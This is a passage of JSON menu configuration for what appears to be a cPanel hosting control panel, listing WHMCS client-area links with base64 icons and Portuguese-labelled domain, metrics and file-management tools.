Resources","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUAAADOzs7Ozs7Ozs7t7e3Ozs7Ozs7t7e3t7e0Ym9glMjwyPkdNsN1XYWhbtd99hImip6uq0+bF3unOzs7c3Nzt7e2Y2TCUAAAACXRSTlMAQFBgj6/f3+/npsWFAAAAmUlEQVR4Ae3SsQ7CMAyE4QCBQoJbt8bv/6owoJMpIrpMINGb/2+w5PSy/cn883Ja72BmTgn0bTC8923gq54E6FmAngfoeYCeBOhJsLNOcOwFsb8xwOl9E0gpsoEWmESkPCYiEwVqwSoFtGDKgCCUPVrRMwBCnQAQtervvPdyDVsIMF7CRgLMEczdN/w12MDA9ucnyCzICYLv78X3mW+KzHVUAAAAAElFTkSuQmCC","type":"image","target":"_blank","plainitemdesc":"Download Resources","imgtype":"icon","acontent":"target=\"_blank\"","subtype":"img","itemorder":"1","itemdesc":"Download Resources","width":48,"file":"WHMCS_clientarea_downloads"},{"itemorder":"1","itemdesc":"View Email History","width":48,"subtype":"img","acontent":"target=\"_blank\"","file":"WHMCS_clientarea_emails","target":"_blank","plainitemdesc":"View Email History","type":"image","imgtype":"icon","height":48,"onclick":"","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAq1BMVEUAAACEtVa8vLzg4OAlMjyEtVa8vLzg4OAlMjyEtVa8vLzg4OAlMjyEtVa8vLzg4OCEtVa8vLzg4OAlMjyEtVa8vLzg4OAlMjyEtVa8vLzg4OCEtVa8vLzg4OCEtVbg4OCEtVa8vLwlMjyEtVa8vLzg4OCEtVa8vLzg4OCEtVa8vLzT09Pg4OAlMjyEtVa8vLzW1tbg4OAlMjyEtVa8vLy+vr7FxcXe3t7g4OBnN95CAAAAMnRSTlMAEBAQICAgIDAwMDBAQEBAUFBQYGBwcICAgICPj4+fn6+vv7+/v8/Pz9/f39/v7+/v73peZywAAAG1SURBVHgB7ZJRU9pQEIVPSCMFCsY0RqCCESQGTaN4q+7//2U9M5vkppOMXB467YPfU+7MfucsO+BfMVssZnBncP2LXA+c4x84Th5m7vHEtUTj787O7rTEKf7pEuTySUtc4vVlSxziydESGx+npTFlGn9YYuOne1Oxn7LEnqsn/n7MeJ1ViyXjey3pu/0CQMixMvYALy75GQJY2JJOPDxOZR4IvzO6HmxJJ57MuQ1nvr58Bw3uNQexJX/Gk71u8e3lCiSkDtIuubDxJNAJFdQPoGjJBR5fKTJemRqzbQtbY6aoGHOV10fI+9vtAF3h52Zz1QjK4PbtXSAizxFqRrwRyJcNocA7jVATPYsIBbLyUWG4NJrQgE9U+CuRRpBiAmXNnTID+0qhTAppCWTZ/AgCJTbNT1iKWEHJh3rIRvB+8GsNgmEuXUEOCYe2VUMwX5em/pckB+kRyM73OEbq1VLOw9+J9AssiYDRfJuqkIUg0UH6BeVGD8yVwgDEvxH5UJDiHC3OCzkikBUaViIOguQTHZ/k4iSQBCQRcRZklyQ7cReU/1r4FAo5iQKRnEQEDJcnMMTf5zfbpg9xBdTEKQAAAABJRU5ErkJggg==","searchtext":"View Email History","description":"View Email History","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_emails","implements":"WHMCS_clientarea_emails"},{"height":48,"onclick":"","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAArlBMVEUAAADt7e3Ozs7t7e3t7e23t7fOzs7t7e3Ozs7t7e3Ozs7t7e3t7e3Ozs7t7e3t7e3o6Ojt7e3Ozs7o6Ojt7e3Ozs7t7e23t7ft7e0lMjwyPkc+SVJXYWhkbHNweH59hImEtVaJkJWRvGmWm6Cew3yip6uvs7a3t7e50aK7vsG/1avDw8PG2LTIyszM3L7Ozs7T38fU1tfW1tbZ49Hc3Nze3t7g5trh4eLm6uTt7e1jZTdsAAAAGXRSTlMAECAgMEBAQFBQYGCAn5+vv7/Pz8/f3+/vfCvR5gAAASRJREFUeNrdll1TwjAQRVcFoaWAaG3TIggiohUMxQ+6//+PmQ8lTjqG7APD6HnJTnLPw33YmYChfbnBX0kCsAk536CDVj3vFi7OT+28W3jnvGvl9wo8NHk/4TltmryXsEh13l9YqDxNCDlNaHOicE0V+A/efAR0cHyhWtu8uoX7SY2lU7irC4VT+Hi0WZJL/zlhmu0YllgOsyxfOYU8M8y0PnUK85sdoy1uR+Ioj1z61lTIS1zJSk/epec421/6wZQei9JjeRymtNmniiKsJ4IXglC4F6hOVYgNqsil/6OQEoW0SRNCAJLQhW8hasWoiQKmh4G50tOV+jpooQNw0sOvqaGMnrhSORbIR3Wj6bC4oYcY40AOZ31MIgCZY9jXjxFL9ACfMOK0SEks1o8AAAAASUVORK5CYII=","searchtext":"View Invoice History","description":"View Invoice History","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_invoices","implements":"WHMCS_clientarea_invoices","itemorder":"1","width":48,"itemdesc":"View Invoice History","acontent":"target=\"_blank\"","subtype":"img","file":"WHMCS_clientarea_invoices","target":"_blank","plainitemdesc":"View Invoice History","type":"image","imgtype":"icon"},{"group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_knowledgebase","implements":"WHMCS_clientarea_knowledgebase","height":48,"onclick":"","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAjVBMVEUAAADxxA43R1HxxA4lMjytkx3xxA43R1ElMjzxxA43R1HxxA7xxA4wP0nxxA7xxA7xxA4lMjzxxA7xxA4lMjzxxA7xxA4lMjzxxA4lMjwoNkA2RlA3R1GljR/xxA7yyB3zyyz0zzv100r11ln22mj33nf44of55Zb66aX77bT88MP89NL9+OH++/D////GKclBAAAAGXRSTlMAECAgMDAwQFBQYGBwgICPn6+vv8/P3+/v86GWGAAAAWhJREFUeNqtlNF6gjAMRgto1YGIINhuLtQKqNvk/R9vyA1tadp93zzX/2mSpkBeB03yAgCKPKXETxBXMFHFvnzMQKfaOI8vYM7O0TwDG0Xgyc8Nez5C8mhXJeDYJk/BQWVpCJzM95EBAlIiUCdu7tdGGAY1NwwT5/7JtdaE1BBytUA/8n1WhdwQQKG+PUbjUePL24BO3TydGyjowg5Mzk9DoEIFM66DIDGBgl3osBkSUBCXrpVyHEJit1TqJw/MrinBOhL9RIttOputeaTD3lI0pbtOtF/3i5Rd1wpQiK0FxDDoTw0WWGAtIPsB6f0cCr1/4fsLJNqVPhpfQ5SBD0b/kV/682Wk5BfHT/CQEi3PudNgWWTmXUYeB0RjzzlqVLsNmcE5YpQJJTYOdiOjBGHNLcYwJs723TSKiLgIP3SDJcTN6qQZjBKvoBr+PAlPinFcEj9vk3FckL8QrlbhFsnjrA98vyCv5xf2Y5WHw4uPPgAAAABJRU5ErkJggg==","searchtext":"Search our Knowledgebase","description":"Search our Knowledgebase","target":"_blank","plainitemdesc":"Search our Knowledgebase","type":"image","imgtype":"icon","width":48,"itemdesc":"Search our Knowledgebase","itemorder":"1","subtype":"img","acontent":"target=\"_blank\"","file":"WHMCS_clientarea_knowledgebase"},{"height":48,"onclick":"","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAk1BMVEUAAAAlMjyJkJXl5eXl5eXl5eXl5eXl5eUlMjzt7e0lMjzl5eUlMjwrOj4wMzgxQj8yOz03S0E6NDU9U0M/RD5DW0RFNDFMTEBQNS1VX2ZVdElaVUFafEtslFBwOCJweH57OR9+rVSBcESEtVaFjJGJkJWOeUaWm6CbOxOdoqaoiki1k0nFPgXQPwHl5eXt7e33v0/68qlqAAAADHRSTlMAQEBAYI+fv9/f7++oUs8VAAAAxElEQVR42t3VSxKCMBBF0cbwBxHBD4IKKqCoAfe/OkPKBfQbOIA7yiCnKj1J0ywSlsPOFkRmD2VSgIGAerARdAdm3Q/UIbN6WqAsWSDJsizS94ehZIDkLaV8jKdmGBoOkCAId1V1jhCgQ8C+ba8xADYf1QsFTz5QoiiK+K9Db/M8XwNgdVOdALC8KHDkAyXSNNWHu+dBQ/sLooUPAINUBh+4pHNhgD4JGVoJAxha5brwNzMhgH/3YPDKwpciCdthZwmaQ19v/qpOiFo6XwAAAABJRU5ErkJggg==","description":"Check Network Status","searchtext":"Check Network Status","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_network_status","implements":"WHMCS_clientarea_network_status","itemorder":"1","width":48,"itemdesc":"Check Network Status","subtype":"img","acontent":"target=\"_blank\"","file":"WHMCS_clientarea_network_status","target":"_blank","plainitemdesc":"Check Network Status","type":"image","imgtype":"icon"},{"searchtext":"View Billing Information","description":"View Billing Information","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAhFBMVEUAAAAlMjzt7e0lMjwlMjwlMjxNV18lMjwlMjwlMjwlMjzt7e0lMjx1fYOdoqbt7e0lMjwlMjzt7e0lMjzt7e0lMjwlMjy4u74lMjwyPkc+SVJweH6JkJWip6vIyszU1tfb29vc3Nze3t7h4eLi4uLl5eXm5ubn5+fq6urr6+vs7Ozt7e2vu8cdAAAAGHRSTlMAEBAgQFBQYHCAj4+fn5+fr7+/z8/f7+/6LN6mAAABPElEQVR4AZXT23KCMBSF4Q2eAcUAYtra1p5b9/u/X50lyUwxKzXr1u93si8QurxRLeX25Z2eV6d4bJPoH22V6C0pqCcF96TgHlsn+getE72SgnpSUE8K7k8fpGD+9fgeLLg/hgvuwwX34SLisZcfFLf7b8XKFI/FvH5de6Ue+7zyTcSjGPku594XCR5FisdOf700xI/mvaR6SfVSpnisvsE/7+fTzBebf/zb4R6/bqeuqKL+CRyrfBHzd/a8nQExvuDvwf/3mSxRrHxBvB4sApGZxSauWGt4wwFm1VtsKW51+AI7mpF4sR9cW/T2MokW3XxgmRQ+iBRdPvVsZbGdsAJeJuNgK6yAF2lHwUJoAS8Ld0PlXxQs4LHtBRqLzYQU3kvWQvoHkQJ+KArH+5kEV6o2zmOToj1rs8An9AtdWcJqFh+b+gAAAABJRU5ErkJggg==","onclick":"","height":48,"implements":"billing","url":"integration/index.html?app=WHMCS_clientarea_product_details","group":"whmcs","file":"WHMCS_clientarea_product_details","subtype":"img","acontent":"target=\"_blank\"","itemorder":"1","width":48,"itemdesc":"View Billing Information","imgtype":"icon","type":"image","plainitemdesc":"View Billing Information","target":"_blank"},{"onclick":"","height":48,"searchtext":"Manage Profile","description":"Manage Profile","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAnFBMVEUAAAAYm9glMjzb29sYm9glMjzb29sYm9glMjzb29sYm9glMjzb29sYm9glMjzb29sYm9glMjzb29vb29sYm9glMjzb29slMjzb29sYm9glMjzb29sYm9glMjzb29sYm9glMjzb29sYm9glMjzb29sYm9glMjw/SlPb29sYm9glMjzb29sYm9glMjxHUlppcXiipqmusbPQ0NHb29to9csaAAAALHRSTlMAEBAQICAgMDAwQEBAUFBQYGBgcICAgI+Pn5+fr6+vv7+/z8/P39/f3+/v7xL0y2gAAAIoSURBVHjalVbbdqJAEGyZiBcIxGEd3LByicSoSLIb/v/flm6uYw/L2XpADlZ1VzXDADDY8pDlVY08U1LADERA3AF58C+NHVUcRWRPVVeVGYUy8jedmThwBRVwg7gztuF8WdBfFyn0TJemic/4LX2ykjTxD8KYLeIK4hfaJV7OH+UtkL+BSbhEsPueOeMzBc0KWigeyuxKAcGmvDCDGF00Q4lwnvp8tr+S5OeTPquiayG4oZc74rplpqhFgA1gjMX1TngHDZe2cG5sQNBaUOW4jawn+NEJXmBAz5Skmxe0Xnw41McAzJZWoEHRnLL66MJcaIJLZnIyxj1xR7CpqRlgEnjA4h35CTwC11Mv4CmeTILKLHj+T8GKUr8tjJYotPk+XJ8NoflYV2/3HonWxMex8huHdgYFu3FsaWzvGh6XhssW3yrRAIS14zhWw2TLm8Pan0vEx2/0wh4ghjXRCV/fsntY5TT/Vg747DeBQkz5aeqfneY3pCcJW0Rgxh5pr6kHXvqKp8u5jeyM5UfnYT/gyjUmwKo3WJ/K1AI8T0ebsUnh1JyTB0f0Bd6p/hnv59IkIBdpUztEwVgRCy4g6q4+enAie5qCvVOsElEL9w5QhuOwdtuXov4itz9wSksHmy1xSjvDazdTrk0XfJVXf0rCEXOj1tLWe1FxfDUKjE1BNAiD5PuzHECGdInMdH4sRdjRz1Sfa3wVZxf8+olV8w2xDGtDt+OO/P8FxpCXOOPPXYkAAAAASUVORK5CYII=","url":"integration/index.html?app=WHMCS_clientarea_profile","group":"whmcs","implements":"WHMCS_clientarea_profile","acontent":"target=\"_blank\"","subtype":"img","itemorder":"1","width":48,"itemdesc":"Manage Profile","file":"WHMCS_clientarea_profile","type":"image","plainitemdesc":"Manage Profile","target":"_blank","imgtype":"icon"},{"acontent":"target=\"_blank\"","subtype":"img","itemorder":"1","itemdesc":"Register New Domain","width":48,"file":"WHMCS_clientarea_shopping_cart_domain_register","type":"image","plainitemdesc":"Register New Domain","target":"_blank","imgtype":"icon","onclick":"","height":48,"searchtext":"Register New Domain","description":"Register New Domain","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAilBMVEUAAAAlMjyEtVYlMjyEtVYlMjxFXkWEtVYlMjwlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjwrOj4xQj83S0E9U0NDW0RPa0dVdElafEtghExmjE5ynFF4pVN+rVSEtVZDVU8AAAAAH3RSTlMAEBAgIDAwMEBQUGBgcHCAgI+Pn5+vr7+/z8/f3+/v0SY3awAAAZ5JREFUeAGVlu9y2yAQxJcqapUqKqVYpgqRN7H6p3HK+79ekXUZk8Y26DfjOT7smjsQB3hH3VnHI852NTJUxvMN3lTX5JZnsJcsyvACRuEMjedFfIN3tLxKi/+wzGAz+oxD8inOqmERDQTlWYRXWDAsxMj+sphKVqgYKxOUUxVXkFThuQIP1FxFjY6r6GC5CgvHlNHq/hRoxl4P7PVJ5MCUQQG4XUI9ys7WQJI4mKLQOdOzgnYtWmoo1wF9jOcNDpC1m8eKGk2MFQmcMYwDhzeGSgzNBYOCY4Vb3Wo2MdTQBYZhKXBsjoEWLQfckiqpwSUpRQbnk+Dm4Uh6T8Gt3rj1n0bNAp6maeKRuuTz/vkSZp6jxxccoP0hvPKbJn9E93/DiT9Vtgk8voSUr9ku8CtRP8TfTa6RJRPcYROnyLTKfarHNoTvmWY8hch2u+g3IZJp97PhPkpFH8lcKJMk8+lVv8N1x5OkL3qp4VpWh9MCyShz7f5YdPei333IXuzPIeVz/unweEj0dyWPk4/fgrCT/88+f242D/P6fDnm/w9eCuE9FO/4IwAAAABJRU5ErkJggg==","url":"integration/index.html?app=WHMCS_clientarea_shopping_cart_domain_register","group":"whmcs","implements":"WHMCS_clientarea_shopping_cart_domain_register"},{"type":"image","plainitemdesc":"Transfer a Domain","target":"_blank","imgtype":"icon","acontent":"target=\"_blank\"","subtype":"img","width":48,"itemdesc":"Transfer a Domain","itemorder":"1","file":"WHMCS_clientarea_shopping_cart_domain_transfer","url":"integration/index.html?app=WHMCS_clientarea_shopping_cart_domain_transfer","group":"whmcs","implements":"WHMCS_clientarea_shopping_cart_domain_transfer","onclick":"","height":48,"searchtext":"Transfer a Domain","description":"Transfer a Domain","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAY1BMVEUAAAAlMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4Q6TfkAAAAH3RSTlMAEBAgIDAwQEBQUGBgcHCAgI+Pn5+vr7+/z8/f3+/vdkdMmQAAAdxJREFUeAG9lu+SoyAQxBvEJcZjMWcUTVbh/Z/yBgPRzbI3tR/uflWpKYUOPYz8QQF1Cxs3CZa3E4BTSGwPb/ie0xTCb0CO08YogfcQphPKyDEQJDjSBeJa9HZeqemje2mTXXy9ngvu4/sOkZLkayaKzCoUURMJihP0Lb9e25QCi5SHfOOQDGoN56d2jTVioGqueYyR8gXLRPXYtQosKvuI0g48sehTqtgHWFKqKjriB9iHOEfhNX9bHHIcJf4D8iR/1nkKI3bawQ0N0DxC7Wzvek2/Opd4wqcq9z5SXbZgYX1mEblknwQ1tVg3VDEsJCTBMHvvnPe6KKAODQUdQ0ud6BmWoi4KWiuM9+YhaGE5AdmJXry7L9VCIfpmBWi3BKtH2EYBjVofBfu0NlYAlbWmomC2IGwDYVrAGCTB7WeFU+8K/4ZKay2Q4D/v9u4jc/tc0u/4C9XsM07wSxRi8Tuz4DcB548M7DbTpr82SaG5jWxOVnQS9NxWma3XSbAwm7F+pqqJuL6Y7X4TNIf14pkDZXOy1ICwhIsC5shakiInfT8KwtpJvND7hyILLtyxmzouQ4oVduS1cLDj4o+Yr1eH7nh1yKYyPX85IaxPLAZl8vVnSvlU23w6I0D8AUrZRbBfAxQ+AAAAAElFTkSuQmCC"},{"implements":"WHMCS_clientarea_submit_ticket","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_submit_ticket","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAaVBMVEUAAACEtVaZwW+EtVaEtVaZwW9cjiiEtVaZwW+EtVaEtVaZwW+ZwW+EtVaZwW+EtVaXwG2ZwW+EtVaZwW+EtVaZwW+EtVaZwW+EtVaZwW9cjihmmDRrmzprnTlzoUN4qUiEtVaGsVmZwW98tPsQAAAAGnRSTlMAEBAgMDBAQEBgcHCAj4+fn5+vr7+/z8/v70sG19AAAADsSURBVHja7ZPZDoIwFAUPdUFRcQcsKNL//0hNLTf2RCx9NHFeCLczLSSAJ+poPLTgz48KL3Lj0/R+Qwu5Cy407/qgo4WLCwxze/k3w0jAdI3WTWdCAfMPfisoF6W9LiDk34JSQdlCQVhRQD6g7Ld5FviR2Mc+8A4hnwP2d8Yyg7D2g3tPkeDJ1t1NIWRuJAH5Q3CwJD8YJL5fnYTPwQGYvO8/gbD8GGRZ4Z2fQthQEOYf/EbQ1lrX7fjgqi3XsUGrHXxGNRDUfVDTwmYg0II/PyQcZKllLqTvWJ1+0ZHE+oj1Eesj1kesj6KK8B8h7csXeqVdoAAAAABJRU5ErkJggg==","description":"Open Ticket","searchtext":"Open Ticket","height":48,"onclick":"","imgtype":"icon","plainitemdesc":"Open Ticket","target":"_blank","type":"image","file":"WHMCS_clientarea_submit_ticket","itemorder":"1","itemdesc":"Open Ticket","width":48,"acontent":"target=\"_blank\"","subtype":"img"},{"plainitemdesc":"View Support Tickets","target":"_blank","type":"image","imgtype":"icon","itemorder":"1","itemdesc":"View Support Tickets","width":48,"subtype":"img","acontent":"target=\"_blank\"","file":"WHMCS_clientarea_tickets","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_tickets","implements":"support","height":48,"onclick":"","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAilBMVEUAAADt7e3Ozs7t7e3Ozs7g4ODt7e3t7e3t7e3Ozs7Ozs7t7e0lMjwyPkc+SVJLVV1XYWhcjihkbHNllDRweH6JkJWWm6CZwW+exHeip6ulvouuw5evs7a3yaO7vsHD167IyszI2rbJ1bzOzs7O3b7S28jU1tfW1tbY4s7d5dXh4eLk5+Ho6uXt7e37F3KlAAAADHRSTlMAEDBAYHCPn6/P7+8BnfPqAAAA+UlEQVR4AdXV206DQBDG8amHemApFXG1tq5bFZXRef/Xc7fdTryCb6Ix8X9DSOYXyLAJlJqdCdT5jPbNBWxeQIWCqgCB+22wvdUw8PhPQQiMA/aNSzUbEMSFK3UYqJ22gUAaXPgQ2nRdQqBzLR+epGD7nvscWyt/By/TZ4nzK7V7cDfIJIi7zQbJDYNMgtfdqlb48e7yqqLgIM3XLKX1lTYGvN7cA8A3LeNAwwEvXR0twOs5AsGNAeh3W1mAcIgCAu2HYP2U+4DBg2gIuO7FBPpeQKD9OaisYK7A+Nt9O3R6PBZpz6UTArPOk3WerPNknSfrPF1cHhHcF9/8CB/eH3crAAAAAElFTkSuQmCC","description":"View Support Tickets","searchtext":"View Support Tickets"},{"file":"WHMCS_clientarea_upgrade","itemorder":"1","width":48,"itemdesc":"Upgrade/Downgrade","acontent":"target=\"_blank\"","subtype":"img","imgtype":"icon","target":"_blank","plainitemdesc":"Upgrade/Downgrade","type":"image","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAw1BMVEUAAAANhr8Ym9glMjwYm9glMjwNhr8Ym9glMjwNhr8Ym9glMjwNhr8Ym9gYm9glMjwNhr8XYocYm9gNhr8Ym9gfR10lMjwNhr8Ym9giO0slMjwNhr8Ym9gbVHAlMjwYm9glMjwNhr8Qi8UYm9glMjwYm9glMjwNhr8Ym9glMjwYm9glMjwNhr8PgbcQi8USdqYTcZ4TkcwVbJYWZ44WhrsYm9gZXH4ZfKsbV3UcUm0eTGUfR10fZ4ohQlUiPUwkN0QlMjwzhEifAAAALHRSTlMAEBAQICAwMDBAQEBQUGBgcHBwgICAgI+Pj4+fn5+fr6+/v7+/z8/f39/v76ecmrsAAAGnSURBVHjanZPrQoJAEIUPZiFbkimpmUWEJKHdwy528f2fKgZXWZotWb8/zuyZM7s7K9DQGIwWGaNBA1VoULVktIuNHC5UJodG9cQGx75sfN7tXkyW8b8X2bnOa7rLZJAnV/iDPcdxTqji+8iRnOWO4yzaY+Wt8TTjiwoep2tmlH9RNG6Vuwe5/kj6vKiXHe7yMCh2sTpSfiX5XjU80cpMJh0LOQfjlfwpD1BwQ4b3VTY+oPZBIZP6Ni0xL/cILPQUVd1fPaWS9/Cg8JHx/FDihdbUBaSGmBsSs/oEoZkhNDd4ZgbP3NA0MzQh9MMQQj8+AZsvxmnqAz4FDBv85YZwm8gQLoZMhMbgYo2rM4Rs1FTp++5fWsgnhz799oE2N5BYIvJqqC/DOmrtqFBkE3is/2rUQqPyi/m2arB9PhChmVKUH45py01tzcVqw+w5aoDPDZqH6GNNnz2DztAuDG2tIWL/jTRxATfJgl9EIMKUEwOx9nsjqA8jinSrQxCewffGb8bh8xDVDWI7A6obsKUhrlofS8PlbUUupaE3rcipNFhBtfrAAvADzXlsJf/WC3oAAAAASUVORK5CYII=","searchtext":"Upgrade/Downgrade","description":"Upgrade/Downgrade","height":48,"onclick":"","implements":"upgrade","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_upgrade"}]},{"desc":"Domínios","items":[{"group":"domains","url":"wp-toolkit/index.live.php","base64_png_image":"","searchtext":"WordPress Management","description":"WordPress Management","height":"48","onclick":"","feature":"wp-toolkit","imgtype":"icon","plainitemdesc":"WordPress Management","target":"_self","type":"image","file":"wp-toolkit","itemorder":"-1","itemdesc":"WordPress Management","width":"48","subtype":"img","acontent":"target=\"_self\""},{"itemdesc":"Editor do site","width":"48","itemorder":"1","acontent":"","subtype":"img","file":"site_publisher","plainitemdesc":"Site Publisher","target":"","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon","height":"48","feature":"sitepublisher","onclick":"","base64_png_image":"","description":"Crie um website simples como um espaço reservado.","searchtext":"site publisher builder start website generator template Editor do site","key":"site_publisher","group":"domains","url":"site_publisher/index.html"},{"base64_png_image":"","description":"Sitejet Builder","searchtext":"sitejet builder domain website plugin Sitejet Builder","height":"48","feature":"sitejet","onclick":"","group":"domains","url":"sitejet/index.html","file":"cpanel-sitejet-plugin","width":"48","itemdesc":"Sitejet Builder","itemorder":"2","subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"Sitejet Builder","if":"$HASROLE{'WebServer'}","type":"image"},{"height":"48","onclick":"","feature":"socialbee","base64_png_image":"","description":"Social Media Management","searchtext":"media management plugin socialbee social bee Social Media Management","group":"domains","url":"socialbee/index.html","itemorder":"2","width":"48","itemdesc":"Social Media Management","acontent":"","subtype":"img","file":"cpanel-socialbee-plugin","target":"","plainitemdesc":"Social Media Management","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon"},{"key":"domains","description":"Crie, gerencie e exclua vários domínios.","searchtext":"domains parked park aliases alias addon subdomain domain force https redirect Domínios","base64_png_image":"","onclick":"","feature":"addondomains || subdomains || parkeddomains || sslinstall","height":"48","imagetype":"icon","implements":"Domains_domains","url":"domains/index.html","group":"domains","file":"domains","acontent":"","subtype":"img","itemorder":"2","itemdesc":"Domínios","width":"48","type":"image","target":"","plainitemdesc":"Domains"},{"imgtype":"icon","target":"","plainitemdesc":"Redirects","if":"$HASROLE{'WebServer'}","type":"image","file":"redirects","itemdesc":"Redireciona","width":"48","itemorder":"6","acontent":"","subtype":"img","group":"domains","url":"mime/redirect.html","base64_png_image":"","description":"Enviar os visitantes de um domínio ou página particular a uma URL diferente.","searchtext":"Redireciona reescrever mod_rewrite","key":"redirects","height":"48","feature":"redirects","onclick":""},{"onclick":"","feature":"simplezoneedit || changemx || zoneedit","height":"48","key":"zone_editor","description":"Criar, gerenciar e excluir registros de zona DNS.","searchtext":"editor de zona avançado simples caa cname a aaaa txt dkim dmarc spf mx registro srv dns dnssec Editor de Zona de DNS","base64_png_image":"","url":"zone_editor/index.html","group":"domains","implements":"Zone_Editor","acontent":"","subtype":"img","itemorder":"6","width":"48","itemdesc":"Editor de Zona de DNS","file":"zone_editor","if":"$HASROLE{'DNS'}","type":"image","plainitemdesc":"Zone Editor","target":"","imgtype":"icon"}],"group":"domains"},{"items":[{"feature":"lastvisits","onclick":"","height":"48","searchtext":"latest visitors Visitantes","description":"Exibir informações detalhadas sobre várias visitas em seu website.","key":"visitors","base64_png_image":"","url":"stats/lastvisitors_landing.html","group":"metrics","subtype":"img","acontent":"","width":"48","itemdesc":"Visitantes","itemorder":"1","file":"visitors","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Visitors","imgtype":"icon"},{"description":"Ver as entradas mais recentes nos registros de erro do Apache®.","searchtext":"Erros errorlog log de erros","key":"errors","base64_png_image":"","feature":"errlog","onclick":"","height":"48","url":"stats/errlog.html","group":"metrics","file":"errors","subtype":"img","acontent":"","itemdesc":"Erros","width":"48","itemorder":"2","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Errors"},{"file":"bandwidth","itemorder":"3","width":"48","itemdesc":"Largura da banda","subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"Bandwidth","if":"$SERVICEPROVIDED{'ftp'} || $HASROLE{'MailReceive'} || $HASROLE{'WebServer'}","type":"image","base64_png_image":"","key":"bandwidth","description":"Visualize gráficos de uso de largura de banda por protocolo em vários períodos.","searchtext":"Transferência de largura de banda bandmin Largura da banda","height":"48","onclick":"","feature":"bandwidth","group":"metrics","url":"stats/bandwidth.html"},{"file":"raw_access","itemorder":"4","itemdesc":"Acesso Bruto","width":"48","subtype":"img","acontent":"","imgtype":"icon","plainitemdesc":"Raw Access","target":"","if":"$HASROLE{'WebServer'}","type":"image","base64_png_image":"","key":"raw_access","searchtext":"Registros Brutos de Acesso registros brutos rawlogs Acesso Bruto","description":"Ver os registros brutos do Apache® dos visitantes do seu site.","height":"48","onclick":"","feature":"rawlog","group":"metrics","url":"raw/index.html"},{"file":"lveresusage","itemorder":"999","width":"48","itemdesc":"Uso da Recursos","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Resource Usage","target":"","type":"image","base64_png_image":"","description":"Uso da Recursos","searchtext":"Uso da Recursos","height":"48","onclick":"","feature":"lveresusage","group":"metrics","url":"resource_usage/resource_usage.live.pl"}],"group":"metrics","desc":"Métrica"},{"desc":"Arquivos","items":[{"target":"_blank","plainitemdesc":"File Manager","type":"image","if":"$HASROLE{'FileStorage'}","imgtype":"icon","width":"48","itemdesc":"Gerenciador de arquivo","itemorder":"1","subtype":"img","acontent":"target=\"_blank\"","file":"file_manager","group":"files","url":"filemanager/index.html","implements":"FileManager_Home","height":"48","feature":"filemanager","onclick":"","base64_png_image":"","description":"Gerenciar e editar seus arquivos.","searchtext":"Gerenciador de Arquivos file-manager Gerenciador de arquivo","key":"file_manager"},{"url":"cpanelpro/images.html","group":"files","key":"images","searchtext":"image manager resize manager scaler thumbnailer format Imagens","description":"Modificar e gerenciar imagens salvas em sua conta do cPanel.","base64_png_image":"","onclick":"","feature":"cpanelpro_images","height":"48","imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'}","target":"","plainitemdesc":"Images","file":"images","acontent":"","subtype":"img","itemorder":"2","itemdesc":"Imagens","width":"48"},{"file":"directory_privacy","subtype":"img","acontent":"","itemorder":"3","itemdesc":"Privacidade do Diretório","width":"48","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Directory Privacy","key":"directory_privacy","description":"Proteja diretórios específicos em seus arquivos em sua conta cPanel.","searchtext":"Directory Privacy passwordprotect password protect Privacidade do Diretório","base64_png_image":"","onclick":"","feature":"webprotect","height":"48","url":"htaccess/index.html","group":"files"},{"height":"48","feature":"diskusageviewer","onclick":"","base64_png_image":"","searchtext":"Uso do disco uso do espaço em disco uso do disco Uso de disco","description":"Veja informações sobre seus arquivos, seus diretórios e como usar seu espaço em disco.","key":"disk_usage","group":"files","url":"diskusage/index.html","width":"48","itemdesc":"Uso de disco","itemorder":"4","subtype":"img","acontent":"","file":"disk_usage","target":"","plainitemdesc":"Disk Usage","if":"$HASROLE{'FileStorage'}","type":"image","imgtype":"icon"},{"height":"48","onclick":"","base64_png_image":"","description":"Inode Usage","searchtext":"Inode 